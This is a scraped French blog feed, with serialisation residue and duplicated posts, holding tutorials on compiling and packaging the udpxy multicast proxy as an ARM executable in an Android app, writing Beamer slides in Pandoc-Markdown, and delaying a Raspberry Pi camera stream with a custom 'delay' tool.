vlc http://localhost:8379/udp/239.0.0.1:1234/
Normalement, le flux doit être lu correctement.
Remarquez qu’udpxy pourrait très bien être démarré sur une autre machine (il suffirait alors de remplacer localhost par son IP). Mais pour la suite, nous souhaiterons justement exécuter udpxy localement sur Android.
Bien sûr, avec VLC, nous n’aurions pas besoin d’udpxy. Le flux est lisible directement avec la commande :
vlc udp://@239.0.0.1:1234/
Notez que certains devices Android ne supportent pas le multicast, la réception de flux multicast ne fonctionnera donc pas.
Maintenant que nous avons vu comment fonctionne udpxy, portons-le sur Android.
Notre but est de le contrôler à partir d’une application et le faire utiliser par le lecteur vidéo natif.
Pour cela, plusieurs étapes sont nécessaires :
Pour obtenir un binaire ARM exécutable, le plus simple, c’est évidemment de le récupérer déjà compilé, s’il est disponible (c’est le cas pour udpxy). Dans ce cas, il n’y a rien à faire.
Pour le tester, transférons-le sur le téléphone et exécutons-le :
adb push udpxy /data/local/tmp
adb shell /data/local/tmp/udpxy -p 8379
Si tout se passe bien, cette commande ne produit en apparence rien : elle attend qu’un client se connecte. Pour valider le fonctionnement, si le téléphone est sur le même réseau que votre ordinateur, vous pouvez utiliser cette instance (ARM) d’udpxy comme proxy entre la source multicast et un lecteur VLC local :
vlc http://<ip_device>:8379/udp/239.0.0.1:1234/
Pour obtenir l’ip du téléphone :
adb shell netcfg | grep UP
S’il n’est pas disponible, il va falloir le compiler soi-même à partir des sources, ce qui nécessite le NDK Android, fournissant des chaînes de compilation pré-compilées.
Il suffit alors d’initialiser la variable d’environnement CC pour pointer sur la bonne chaîne de compilation (adaptez les chemins et l’architecture selon votre configuration) :
export NDK=~/android/ndk
export SYSROOT="$NDK/platforms/android-19/arch-arm"
export CC="$NDK/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc --sysroot=$SYSROOT"
make
Bravo, vous venez de générer un binaire udpxy pour l’architecture ARM.
La compilation telle que réalisée ci-dessus est bien adaptée à la génération d’un exécutable une fois de temps en temps, mais s’intègre mal dans un système de build automatisé. En particulier, un utilisateur avec une architecture différente devra adapter les commandes à exécuter.
Heureusement, le NDK permet une compilation plus générique.
Pour cela, il faut créer un répertoire jni dans un projet Android (ou n’importe où d’ailleurs, mais en pratique c’est là qu’il est censé être), y mettre les sources et écrire des Makefiles.
Créons donc un répertoire jni contenant les sources. Vu que nous les avons déjà extraites, copions-les à la racine de jni/ :
cp -rp udpxy-1.0.23-9/ jni/
cd jni/
Créons un Makefile nommé Android.mk :
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := udpxy
LOCAL_SRC_FILES := udpxy.c sloop.c rparse.c util.c prbuf.c ifaddr.c ctx.c mkpg.c \
rtp.c uopt.c dpkt.c netop.c extrn.c main.c
include $(BUILD_EXECUTABLE)
Puis compilons :
ndk-build
ndk-build se trouve à la racine du NDK.
Le binaire sera généré dans libs/armeabi/udpxy.
Afin d’organiser les projets plus proprement, il vaut mieux mettre les sources d’udpxy et son Android.mk dans un sous-répertoire spécifique au projet (dans jni/udpxy/). Dans ce cas, il faut rajouter un fichier jni/Android.mk contenant :
include $(call all-subdir-makefiles)
Je suppose ici que vous savez déjà créer une application Android.
Nous devons maintenant intégrer le binaire dans l’APK. Pour cela, il y a principalement deux solutions :
res/raw/) ;assets/).Vu que les projets library ne gèrent pas les assets, nous allons utiliser une ressource raw.
Il faut donc copier le binaire dans res/raw/, à chaque fois qu’il est généré (à automatiser donc).
L’exécutable est bien packagé avec l’application, et comme toutes les ressources, nous pouvons facilement obtenir un InputStream (le fonctionnement est similaire pour les assets).
Mais pour l’exécuter en natif, le binaire doit être présent sur le système de fichiers. Il faut donc le copier et lui donner les droits d’exécution. Sans la gestion des exceptions, cela donne :
// "/data/data/<package>/files/udpxy"
File target = new File(getFilesDir(), "udpxy")
InputStream in = getResources().openRawResource(R.raw.udpxy);
OutputStream out = new FileOutputStream(target);
// copy from R.raw.udpxy to /data/data/<package>/files/udpxy
FileUtils.copy(in, out);
// make the file executable
FileUtils.chmod(target, 0755);
Et les parties intéressantes de FileUtils :
public static void copy(InputStream in, OutputStream os) throws IOException {
byte[] buf = new byte[4096];
int read;
while ((read = (in.read(buf))) != -1) {
os.write(buf, 0, read);
}
}
public static boolean chmod(File file, int mode) throws IOException {
String sMode = String.format("%03o", mode); // to string octal value
String path = file.getAbsolutePath();
String[] argv = { "chmod", sMode, path };
try {
return Runtime.getRuntime().exec(argv).waitFor() == 0;
} catch (InterruptedException e) {
throw new IOException(e);
}
}
Maintenant que le binaire est disponible sur le système de fichiers, il suffit de l’exécuter :
String[] command = { udpxyBin.getAbsolutePath(), "-p", "8379" };
udpxyProcess = Runtime.getRuntime().exec(command);
Le lecteur vidéo pourra alors utiliser l’URI proxifié comme source de données :
String src = UdpxyService.proxify("239.0.0.1:1234");
Je mets à disposition sous licence GPLv3 le projet library andudpxy, qui met en œuvre ce que j’ai expliqué ici :
git clone http://git.rom1v.com/andudpxy.git
(ou sur github)
Pour l’utiliser dans votre application, n’oubliez pas de référencer la library et de déclarer le service UdpxyService dans votre AndroidManifest.xml :
<service android:name="com.rom1v.andudpxy.UdpxyService" />
Pour démarrer le démon :
UdpxyService.startUdpxy(context);
et pour l’arrêter :
UdpxyService.stopUdpxy(context);
J’ai également écrit une application minimale de lecture vidéo qui utilise cette library :
git clone http://git.rom1v.com/andudpxy-sample.git
(ou sur github)
C’est toujours utile d’avoir une application d’exemple censée fonctionner 
L’adresse du flux UDP multicast à lire est écrite en dur dans MainActivity (et le flux doit fonctionner lors du démarrage de l’activité) :
private static final String ADDR = "239.0.0.1:1234";
Après avoir cloné les 2 projets dans un même répertoire parent, renommez les local.properties.sample en local.properties, éditez-les pour indiquer le chemin du SDK et du NDK.
Ensuite, allez dans le répertoire andudpxy-sample, puis exécutez :
ant clean debug
Vous devriez obtenir bin/andudpxy-sample-debug.apk.
Bien sûr, vous pouvez aussi les importer dans Eclipse (ou un autre IDE) et les compiler selon vos habitudes.
Nous avons réussi à compiler et exécuter un binaire ARM sur Android, packagé dans une application.
Ceci peut être utile pour exécuter du code déjà implémenté nativement pour d’autres plates-formes, pour faire tourner un démon natif… Par exemple, le projet Serval (sur lequel j’ai un peu travaillé) utilise un démon servald, qui tourne également sur d’autres architectures.
Ce n’est cependant pas la seule manière d’exécuter du code natif dans une application : la plus courante est d’appeler des fonctions natives (et non un exécutable) directement à partir de Java, en utilisant JNI. L’une et l’autre répondent à des besoins différents.
";s:7:"dateiso";s:15:"20140319_003952";}s:15:"20140318_233952";a:7:{s:5:"title";s:36:"Compiler un exécutable pour Android";s:4:"link";s:66:"http://blog.rom1v.com/2014/03/compiler-un-executable-pour-android/";s:4:"guid";s:65:"http://blog.rom1v.com/2014/03/compiler-un-executable-pour-android";s:7:"pubDate";s:25:"2014-03-18T23:39:52+01:00";s:11:"description";s:0:"";s:7:"content";s:23194:"Je vais présenter dans ce billet comment compiler un exécutable ARM pour Android, l’intégrer à un APK et l’utiliser dans une application.
À titre d’exemple, nous allons intégrer un programme natif, udpxy, dans une application minimale de lecture vidéo.
Le framework multimédia d’Android ne supporte pas nativement la lecture de flux UDP multicast (1, 2).
Il est possible, pour y parvenir, d’utiliser des lecteurs alternatifs, par exemple basés sur ffmpeg/libav (l’un est un fork de l’autre) ou libvlc.
Il existe par ailleurs un outil natif, sous licence GPLv3, relayant du trafic UDP multicast vers du HTTP : udpxy. N’importe quel client supportant HTTP (comme le lecteur natif d’Android) peut alors s’y connecter. C’est cet outil que nous allons utiliser ici.
Avant de l’intégrer, comprenons son utilisation en le faisant tourner sur un ordinateur classique (Debian Wheezy 64 bits pour moi).
Il faut d’abord le télécharger les sources, les extraire et compiler :
wget http://www.udpxy.com/download/1_23/udpxy.1.0.23-9-prod.tar.gz
tar xf udpxy.1.0.23-9-prod.tar.gz
cd udpxy-1.0.23-9/
makeSi tout se passe bien, nous obtenons (entre autres) un binaire udpxy.
Pour tester, nous avons besoin d’une source UDP multicast. Ça tombe bien, VLC
peut la fournir. Pour obtenir le résultat attendu par udpxy, nous devons
diffuser vers une adresse multicast (ici 239.0.0.1). Par exemple, à partir
d’un fichier MKV :
cvlc video.mkv ':sout=#udp{dst=239.0.0.1:1234}'En parallèle, démarrons une instance d’udpxy, que nous venons de compiler :
./udpxy -p 8379Cette commande va démarrer un proxy relayant de l’UDP multicast vers de l’HTTP, écoutant sur le port 8379.
Dans un autre terminal, nous pouvons faire pointer VLC sur le flux ainsi proxifié :
vlc http://localhost:8379/udp/239.0.0.1:1234/Normalement, le flux doit être lu correctement.
Remarquez qu’udpxy pourrait très bien être démarré sur une autre machine (il
suffirait alors de remplacer localhost par son IP). Mais pour la suite, nous
souhaiterons justement exécuter udpxy localement sur Android.
Bien sûr, avec VLC, nous n’aurions pas besoin d’udpxy. Le flux est lisible directement avec la commande :
vlc udp://@239.0.0.1:1234/Notez que certains devices Android ne supportent pas le multicast, la réception de flux multicast ne fonctionnera donc pas.
Maintenant que nous avons vu comment fonctionne udpxy, portons-le sur Android.
Notre but est de le contrôler à partir d’une application et le faire utiliser par le lecteur vidéo natif.
Pour cela, plusieurs étapes sont nécessaires :
Pour obtenir un binaire ARM exécutable, le plus simple, c’est évidemment de le récupérer déjà compilé, s’il est disponible (c’est le cas pour udpxy). Dans ce cas, il n’y a rien à faire.
Pour le tester, transférons-le sur le téléphone et exécutons-le :
adb push udpxy /data/local/tmp
adb shell /data/local/tmp/udpxy -p 8379Si tout se passe bien, cette commande ne produit en apparence rien : elle attend qu’un client se connecte. Pour valider le fonctionnement, si le téléphone est sur le même réseau que votre ordinateur, vous pouvez utiliser cette instance (ARM) d’udpxy comme proxy entre la source multicast et un lecteur VLC local :
vlc http://xx.xx.xx.xx:8379/udp/239.0.0.1:1234/Replacer xx.xx.xx.xx par l’ip du device, qu’il est possible d’obtenir ainsi :
adb shell netcfg | grep UPS’il n’est pas disponible, il va falloir le compiler soi-même à partir des sources, ce qui nécessite le NDK Android, fournissant des chaînes de compilation pré-compilées.
Il suffit alors d’initialiser la variable
d’environnement CC pour pointer sur la bonne chaîne de compilation (adaptez
les chemins et l’architecture selon votre configuration) :
export NDK=~/android/ndk
export SYSROOT="$NDK/platforms/android-19/arch-arm"
export CC="$NDK/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc --sysroot=$SYSROOT"
makeBravo, vous venez de générer un binaire udpxy pour l’architecture ARM.
La compilation telle que réalisée ci-dessus est bien adaptée à la génération d’un exécutable une fois de temps en temps, mais s’intègre mal dans un système de build automatisé. En particulier, un utilisateur avec une architecture différente devra adapter les commandes à exécuter.
Heureusement, le NDK permet une compilation plus générique.
Pour cela, il faut créer un répertoire jni dans un projet
Android (ou n’importe où d’ailleurs, mais en pratique c’est là qu’il est censé
être), y mettre les sources et écrire des Makefiles.
Créons donc un répertoire jni contenant les sources. Vu que nous les avons
déjà extraites, copions-les à la racine de jni/ :
cp -rp udpxy-1.0.23-9/ jni/
cd jni/Créons un Makefile nommé Android.mk :
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := udpxy
LOCAL_SRC_FILES := udpxy.c sloop.c rparse.c util.c prbuf.c ifaddr.c ctx.c \
mkpg.c rtp.c uopt.c dpkt.c netop.c extrn.c main.c
include $(BUILD_EXECUTABLE)Puis compilons :
ndk-buildndk-build se trouve à la racine du NDK.
Le binaire sera généré dans libs/armeabi/udpxy.
Afin d’organiser les projets plus proprement, il vaut mieux mettre les sources
d’udpxy et son Android.mk dans un sous-répertoire spécifique au projet (dans
jni/udpxy/). Dans ce cas, il faut rajouter un fichier jni/Android.mk
contenant :
include $(call all-subdir-makefiles)Je suppose ici que vous savez déjà créer une application Android.
Nous devons maintenant intégrer le binaire dans l’APK. Pour cela, il y a principalement deux solutions :
res/raw/) ;assets/).Vu que les projets library ne gèrent pas les assets, nous allons utiliser une ressource raw.
Il faut donc copier le binaire dans res/raw/, à chaque fois qu’il est généré
(à automatiser donc).
L’exécutable est bien packagé avec l’application, et comme toutes les
ressources, nous pouvons facilement obtenir un InputStream (le
fonctionnement est similaire pour les assets).
Mais pour l’exécuter en natif, le binaire doit être présent sur le système de fichiers. Il faut donc le copier et lui donner les droits d’exécution. Sans la gestion des exceptions, cela donne :
// "/data/data/<package>/files/udpxy"
File target = new File(getFilesDir(), "udpxy")
InputStream in = getResources().openRawResource(R.raw.udpxy);
OutputStream out = new FileOutputStream(target);
// copy from R.raw.udpxy to /data/data/<package>/files/udpxy
FileUtils.copy(in, out);
// make the file executable
FileUtils.chmod(target, 0755);Et les parties intéressantes de FileUtils :
public static void copy(InputStream in, OutputStream os) throws IOException {
byte[] buf = new byte[4096];
int read;
while ((read = (in.read(buf))) != -1) {
os.write(buf, 0, read);
}
}
public static boolean chmod(File file, int mode) throws IOException {
String sMode = String.format("%03o", mode); // to string octal value
String path = file.getAbsolutePath();
String[] argv = { "chmod", sMode, path };
try {
return Runtime.getRuntime().exec(argv).waitFor() == 0;
} catch (InterruptedException e) {
throw new IOException(e);
}
}Maintenant que le binaire est disponible sur le système de fichiers, il suffit de l’exécuter :
String[] command = { udpxyBin.getAbsolutePath(), "-p", "8379" };
udpxyProcess = Runtime.getRuntime().exec(command);Le lecteur vidéo pourra alors utiliser l’URI proxifié comme source de données :
String src = UdpxyService.proxify("239.0.0.1:1234");Je mets à disposition sous licence GPLv3 le projet library andudpxy, qui
met en œuvre ce que j’ai expliqué ici :
git clone http://git.rom1v.com/andudpxy.git
(ou sur github)
Pour l’utiliser dans votre application, n’oubliez pas de référencer la library
et de déclarer le service UdpxyService dans votre AndroidManifest.xml :
<service android:name="com.rom1v.andudpxy.UdpxyService" />Pour démarrer le démon :
UdpxyService.startUdpxy(context);et pour l’arrêter :
UdpxyService.stopUdpxy(context);J’ai également écrit une application minimale de lecture vidéo qui utilise cette library :
git clone http://git.rom1v.com/andudpxy-sample.git
(ou sur github)
C’est toujours utile d’avoir une application d’exemple censée fonctionner ;-)
L’adresse du flux UDP multicast à lire est écrite en dur dans MainActivity (et
le flux doit fonctionner lors du démarrage de l’activité) :
private static final String ADDR = "239.0.0.1:1234";Après avoir cloné les 2 projets dans un même répertoire parent, renommez les
local.properties.sample en local.properties, éditez-les pour indiquer le
chemin du SDK et du NDK.
Ensuite, allez dans le répertoire andudpxy-sample, puis exécutez :
ant clean debugVous devriez obtenir bin/andudpxy-sample-debug.apk.
Bien sûr, vous pouvez aussi les importer dans Eclipse (ou un autre IDE) et les compiler selon vos habitudes.
Nous avons réussi à compiler et exécuter un binaire ARM sur Android, packagé dans une application.
Ceci peut être utile pour exécuter du code déjà implémenté nativement pour
d’autres plates-formes, pour faire tourner un démon natif… Par exemple, le
projet Serval (sur lequel j’ai un peu travaillé) utilise un démon
servald, qui tourne également sur d’autres architectures.
Ce n’est cependant pas la seule manière d’exécuter du code natif dans une application : la plus courante est d’appeler des fonctions natives (et non un exécutable) directement à partir de Java, en utilisant JNI. L’une et l’autre répondent à des besoins différents.
";s:7:"dateiso";s:15:"20140318_233952";}s:15:"20140215_192914";a:7:{s:5:"title";s:29:"Des slides Beamer en Markdown";s:4:"link";s:60:"http://blog.rom1v.com/2014/02/des-slides-beamer-en-markdown/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4711";s:7:"pubDate";s:31:"Sat, 15 Feb 2014 18:29:14 +0000";s:11:"description";s:411:"Pour produire des slides propres pour une présentation, j’aime beaucoup Beamer (basé sur LaTeX). Mais la syntaxe est un peu lourde et la configuration est parfois inutilement compliquée (fonts, encodage, compilation multipasse…). Est-il possible d’avoir les avantages de Beamer sans ses inconvénients ? La réponse est oui, grâce à pandoc et son Markdown étendu. Beamer Voici […]";s:7:"content";s:6656:"Pour produire des slides propres pour une présentation, j’aime beaucoup Beamer (basé sur LaTeX). Mais la syntaxe est un peu lourde et la configuration est parfois inutilement compliquée (fonts, encodage, compilation multipasse…).
Est-il possible d’avoir les avantages de Beamer sans ses inconvénients ? La réponse est oui, grâce à pandoc et son Markdown étendu.
Voici le code d’un exemple très simple de présentation Beamer :
\documentclass[hyperref={pdfpagelabels=false}]{beamer}
\usepackage[utf8]{inputenc}
\usepackage{lmodern}
\title{Exemple}
\author{Romain Vimont}
\date{15 février 2014}
\begin{document}
\begin{frame}
\titlepage
\end{frame}
\section{Ma section}
\begin{frame}{Ma première frame}
\begin{itemize}
\item c'est bien
\item mais c'est verbeux
\end{itemize}
\end{frame}
\end{document}
Le code source est, il faut bien l’avouer, assez rebutant, et le rapport signal/bruit assez faible.
Une fois les paquets pdflatex, textlive-latex-base et latex-beamer installés (sous Debian), vous pouvez le compiler avec :
pdflatex fichier.tex
Voici maintenant l’équivalent en Pandoc-Markdown :
% Exemple
% Romain Vimont
% 15 février 2014
# Ma section
## Ma première frame
- c'est bien
- et en plus ce n'est pas verbeux
Indiscutablement, c’est beaucoup plus lisible !
Avec le paquet pandoc (en plus des paquets latex déjà installés), vous pouvez le compiler avec :
pandoc -st beamer fichier.md -o fichier.pdf
Notez que le résultat n’est pas strictement identique, la version compilée avec pandoc ajoute une frame de section, mais il ne s’agit que d’une différence de template par défaut.
J’ai créé une présentation d’exemple avec un thème personnalisé.
Le résultat est disponible ici, mais c’est surtout la source (raw) qui est intéressante. Pour récupérer le projet et générer le pdf :
git clone http://git.rom1v.com/mdbeamer.git
cd mdbeamer
make
Il est également disponible sur github.
Ce projet a vocation à être utilisé comme base pour mes futures présentations (et les vôtres si vous le désirez). Chacune d’entre elles sera sur une branche git et sur un remote différents.
Pour pouvoir distinguer rapidement différentes versions d’une même présentation, j’ai également ajouté au Makefile une commande pour injecter un identifiant de version à côté de la date (donc à la fin de la 3e ligne du code source). Il s’agit du résultat de git describe (contenant le nom du dernier tag annoté) ou à défaut simplement le numéro de commit actuel.
Pour l’utiliser :
make withversion
J’utilise ici le Pandoc-Markdown pour écrire du Beamer plus simplement.
Mais son intérêt est beaucoup plus général : il s’agit d’un véritable format pivot, compilable vers de nombreux formats.
Pour de la documentation par exemple, il suffit de l’écrire en Pandoc-Markdown et de la compiler, grâce à pandoc, en :
C’est d’ailleurs très pratique quand quelqu’un vous demande une documentation dans un format totalement inadapté (type docx), à rédiger de manière collaborative : il suffit alors d’utiliser Pandoc-Markdown, git et un Makefile.
Pour les slides, pandoc supporte, en plus de Beamer, la compilation vers des slides HTML :
Cette généricité a bien sûr des limites : l’utilisation de code spécifique à un format particulier (tel que j’en utilise dans mon exemple) empêche de le compiler correctement vers d’autres formats.
Le language Markdown (étendu par pandoc) permet de combiner la généricité, la simplicité et la gitabilité pour écrire des documents ou des slides, ce qui en fait un outil absolument indispensable.
";s:7:"dateiso";s:15:"20140215_192914";}s:15:"20140215_182914";a:7:{s:5:"title";s:29:"Des slides Beamer en Markdown";s:4:"link";s:60:"http://blog.rom1v.com/2014/02/des-slides-beamer-en-markdown/";s:4:"guid";s:59:"http://blog.rom1v.com/2014/02/des-slides-beamer-en-markdown";s:7:"pubDate";s:25:"2014-02-15T18:29:14+01:00";s:11:"description";s:0:"";s:7:"content";s:7463:"Pour produire des slides propres pour une présentation, j’aime beaucoup Beamer (basé sur LaTeX). Mais la syntaxe est un peu lourde et la configuration est parfois inutilement compliquée (fonts, encodage, compilation multipasse…).
Est-il possible d’avoir les avantages de Beamer sans ses inconvénients ? La réponse est oui, grâce à pandoc et son Markdown étendu.
Voici le code d’un exemple très simple de présentation Beamer :
\documentclass[hyperref={pdfpagelabels=false}]{beamer}
\usepackage[utf8]{inputenc}
\usepackage{lmodern}
\title{Exemple}
\author{Romain Vimont}
\date{15 février 2014}
\begin{document}
\begin{frame}
\titlepage
\end{frame}
\section{Ma section}
\begin{frame}{Ma première frame}
\begin{itemize}
\item c'est bien
\item mais c'est verbeux
\end{itemize}
\end{frame}
\end{document}Le code source est, il faut bien l’avouer, assez rebutant, et le rapport signal/bruit assez faible.
Une fois les paquets pdflatex, textlive-latex-base et latex-beamer
installés (sous Debian), vous pouvez le compiler avec :
pdflatex fichier.tex
Voici maintenant l’équivalent en Pandoc-Markdown :
% Exemple
% Romain Vimont
% 15 février 2014
# Ma section
## Ma première frame
- c'est bien
- et en plus ce n'est pas verbeux
Indiscutablement, c’est beaucoup plus lisible !
Avec le paquet pandoc (en plus des paquets latex déjà installés), vous pouvez
le compiler avec :
pandoc -st beamer fichier.md -o fichier.pdf
Notez que le résultat n’est pas strictement identique, la version compilée avec
pandoc ajoute une frame de section, mais il ne s’agit que d’une différence de
template par défaut.
J’ai créé une présentation d’exemple avec un thème personnalisé.

Le résultat est disponible ici, mais c’est surtout la source (raw) qui est intéressante. Pour récupérer le projet et générer le pdf :
git clone http://git.rom1v.com/mdbeamer.git
cd mdbeamer
makeIl est également disponible sur github.
Ce projet a vocation à être utilisé comme base pour mes futures présentations (et les vôtres si vous le désirez). Chacune d’entre elles sera sur une branche git et sur un remote différents.
Pour pouvoir distinguer rapidement différentes versions d’une même présentation,
j’ai également ajouté au Makefile une commande pour injecter un identifiant de
version à côté de la date (donc à la fin de la 3e ligne du code source). Il
s’agit du résultat de git describe (contenant le nom du dernier tag
annoté) ou à défaut simplement le numéro de commit actuel.
Pour l’utiliser :
make withversion
J’utilise ici le Pandoc-Markdown pour écrire du Beamer plus simplement.
Mais son intérêt est beaucoup plus général : il s’agit d’un véritable format pivot, compilable vers de nombreux formats.
Pour de la documentation par exemple, il suffit de l’écrire en Pandoc-Markdown
et de la compiler, grâce à pandoc, en :
C’est d’ailleurs très pratique quand quelqu’un vous demande une documentation
dans un format totalement inadapté (type docx), à rédiger de manière
collaborative : il suffit alors d’utiliser Pandoc-Markdown, git et un
Makefile.
Pour les slides, pandoc supporte, en plus de Beamer, la compilation vers des slides HTML :
Cette généricité a bien sûr des limites : l’utilisation de code spécifique à un format particulier (tel que j’en utilise dans mon exemple) empêche de le compiler correctement vers d’autres formats.
Le language Markdown (étendu par pandoc) permet de combiner la généricité, la simplicité et la _git_abilité pour écrire des documents ou des slides, ce qui en fait un outil absolument indispensable.
";s:7:"dateiso";s:15:"20140215_182914";}s:15:"20140120_112040";a:7:{s:5:"title";s:50:"Lecture différée de la webcam d’un Rasberry Pi";s:4:"link";s:76:"http://blog.rom1v.com/2014/01/lecture-differee-de-la-webcam-dun-rasberry-pi/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4693";s:7:"pubDate";s:31:"Mon, 20 Jan 2014 10:20:40 +0000";s:11:"description";s:363:"L’objectif de ce billet est de parvenir à lire le flux provenant de la caméra d’un Raspberry Pi avec un décalage de quelques secondes (plutôt qu’en direct), avec les outils dédiés que sont raspivid et omxplayer. Contexte Là où je travaille, il y a un babyfoot. Nous avons récemment décidé de l’informatiser un peu pour […]";s:7:"content";s:12123:"
L’objectif de ce billet est de parvenir à lire le flux provenant de la caméra d’un Raspberry Pi avec un décalage de quelques secondes (plutôt qu’en direct), avec les outils dédiés que sont raspivid et omxplayer.
Là où je travaille, il y a un babyfoot. Nous avons récemment décidé de l’informatiser un peu pour avoir la détection et le ralenti des buts. Entre autres, un Raspberry Pi a été installé avec sa caméra au-dessus du terrain de manière à fournir une vue aérienne.
raspivid permet d’afficher en direct ce que la caméra filme. Mais l’intérêt est faible dans notre cas : le direct, nous l’avons déjà sous les yeux.
Il est bien plus utile d’avoir un "direct" différé de quelques secondes : lors d’un but ou d’une action litigieuse, il suffit de tourner la tête pour revoir ce qu’il vient de se passer (à vitesse réelle).
Je me suis intéressé à faire fonctionner ce cas d’usage. Je vais détailler ici les principes et les problèmes rencontrés.
La première idée fut de brancher le flux H.264 que produit raspivid sur l’entrée de omxplayer, qui serait démarré quelques secondes plus tard.
Premier problème, omxplayer ne semblait pas savoir lire sur son entrée standard. Ce n’est pas très gênant, il suffit d’utiliser un tube nommé grâce à mkfifo. En effet :
printf 'a\nb\nc\n' | grep b
peut être remplacé par :
# terminal 1
mkfifo /tmp/fifo
printf 'a\nb\nc\n' > /tmp/fifo
# terminal 2
< /tmp/fifo grep b
Mais en fait, il y a plus direct : omxplayer n’est qu’un script wrapper pour le vrai omxplayer.bin, c’est lui qui empêchait la lecture sur l’entrée standard. Il suffit juste d’exporter la variable qui-va-bien et d’appeler omxplayer.bin directement :
export LD_LIBRARY_PATH="/opt/vc/lib:/usr/lib/omxplayer"
omxplayer.bin …
Cependant, contrairement à ce que proposent beaucoup de commandes shell, omxplayer.bin ne prévoit pas explicitement de lire sur son entrée standard, il attend obligatoirement un fichier en paramètre. Donnons-lui donc comme fichier /dev/stdin !
raspivid -t 0 -w 1280 -h 720 -fps 25 -n -o - | omxplayer.bin /dev/stdin
Vu la durée de démarrage d’omxplayer.bin, pas besoin de retarder son lancement, la vidéo sera bien décalée de quelques secondes.
Le problème, c’est que le buffer lié au tube est très limité (man 7 pipe) : il sera très vite plein, bloquant totalement l’enregistrement et la lecture de la vidéo.
Nous avons besoin d’un buffer plus important. Pour cela, nous pouvons utiliser mbuffer, ici avec une taille de 10Mo :
raspivid … | mbuffer -m 10m | omxplayer.bin /dev/stdin
Et là, cela semble fonctionner.
Pour décaler un peu plus la lecture par omxplayer.bin, il est possible d’utiliser les commandes groupées (man bash) pour ajouter un appel à sleep avant le démarrage :
raspivid … | mbuffer -m 10m | { sleep 3; omxplayer.bin /dev/stdin; }
raspivid est censé enregistrer à 25 fps (-fps 25) et omxplayer nous indique dans la console qu’il lit à 25 fps.
Cependant, en réalité, le décalage n’est pas constant : il augmente petit à petit au fil des minutes, et le buffer se remplit légèrement plus vite qu’il ne se vide. La lecture consomme moins d’images que n’en produit l’enregistrement, comme si le débit d’images de l’enregistrement était supérieur à celui de lecture.
Il y a donc un manque d’exactitude (à ne pas confondre avec un manque de précision) dans le nombre d’images enregistrées et/ou lues par seconde.
Si nous tentons d’enregistrer à un débit légèrement inférieur (24 fps), c’est le contraire : le retard est rattrapé progressivement jusqu’à fournir une lecture en direct.
Comme le débit d’images est la seule information temporelle disponible et qu’elle est inexacte, il semble impossible de contrecarrer cette variation de délai.
Mais en réalité, ce n’est pas la seule information temporelle dont nous disposons : nous savons que le flux est en direct.
Comment exploiter cette information ? Pour le comprendre, il suffit d’enregistrer à un débit d’images très faible (-fps 5) et de le lire toujours à 25 fps.
Si la lecture provient d’un fichier, alors la vidéo passe en accéléré. Par contre, si la lecture sort de la webcam en direct, alors la vidéo passe à vitesse normale mais à 5 fps : le lecteur a beau vouloir lire 25 images par seconde, s’il n’en reçoit que 5 chaque seconde, il n’a pas d’autre choix que de lire à 5 fps.
Ainsi, sans même connaître sa valeur réelle exacte, nous parvenons à obtenir le même débit d’images à l’enregistrement qu’à la lecture.
Mais comme nous l’avons vu, avec un débit d’images d’enregistrement inférieur, le délai introduit se réduira inexorablement (le retard sera rattrapé). Ce que nous voulons éviter : nous voulons un délai constant.
Nous avons cependant avancé, car maintenant, si nous disposions d’une commande qui retarde ce qui sort de raspivid pour le donner à omxplayer x secondes plus tard, et que nous enregistrons à un débit d’images légèrement inférieur à celui de la lecture, alors omxplayer rattrapera le retard pour parvenir au direct… décalé de x secondes. Exactement ce que nous voulons !
J’ai donc demandé sur stackoverflow si une telle commande existait, ce qui ne semblait pas être le cas.
Je l’ai donc implémentée (sous licence GPLv3) :
git clone http://git.rom1v.com/delay.git
cd delay
make && sudo make install
(ou sur github)
Elle permet de décaler tout ce qui arrive sur stdin d’un délai constant pour le sortir sur stdout :
delay [-b <dtbufsize>] <delay>
Elle est donc très générique, et n’a aucun lien avec le fait que le flux soit une vidéo.
Elle fonctionne aussi très bien pour différer la lecture de la webcam dans VLC sur un pc classique :
ffmpeg -an -s 320x240 -f video4linux2 -i /dev/video0 -f mpeg2video -b 1M - |
delay 2s | vlc -
Nous pourrions penser qu’il suffit de faire la même chose avec raspivid et omxplayer, avec un débit d’images légèrement inférieur pour l’enregistrement (24 fps) :
raspivid -t 0 -w 1280 -h 720 -fps 24 -n -o - |
delay -b10m 4s |
omxplayer.bin /dev/stdin
Malheureusement, avec omxplayer, ce n’est pas si simple.
En effet, l’initialisation d’omxplayer pour une lecture vidéo est très longue (plusieurs secondes), et surtout, elle ne débute que lorsque une partie suffisamment importante de la vidéo à lire est reçue (les headers ne suffisent pas). Décaler la vidéo de x secondes décale également l’initialisation de x secondes, ajoutant d’autant plus de décalage.
Certes, le retard supplémentaire sera rattrapé progressivement, mais cela prendra du temps (environ 1 image chaque seconde, soit 1 seconde toutes les 25 secondes). Pour obtenir le délai désiré dès le départ, ce problème doit être évité.
Une solution de contournement consiste à passer les premiers (méga-)octets sortis de raspivid directement à omxplayer.bin, et de ne différer que le reste avec delay. De cette manière, les premières images seront lues immédiatement, permettant au lecteur de s’initialiser, alors que la suite sera différée.
Grâce aux commandes groupées de bash (encore elles), c’est très simple :
raspivid -t 0 -w 1280 -h 720 -fps 24 -n -o - |
{ head -c10M; delay -b10m 4s; } |
omxplayer.bin /dev/stdin
La commande head va passer immédiatement les 10 premiers méga-octets à omxplayer.bin, puis la commande delay prendra le relai. Ainsi, l’initialisation aura déjà eu lieu quand les premiers octets sortiront de delay.
À part les premières secondes un peu chaotiques, le flux vidéo sera alors bien diffusé en différé avec un délai constant (testé sur 24 heures).
Nous avons donc bricolé une solution qui permet un replay différé en continu sur un Raspberry Pi.
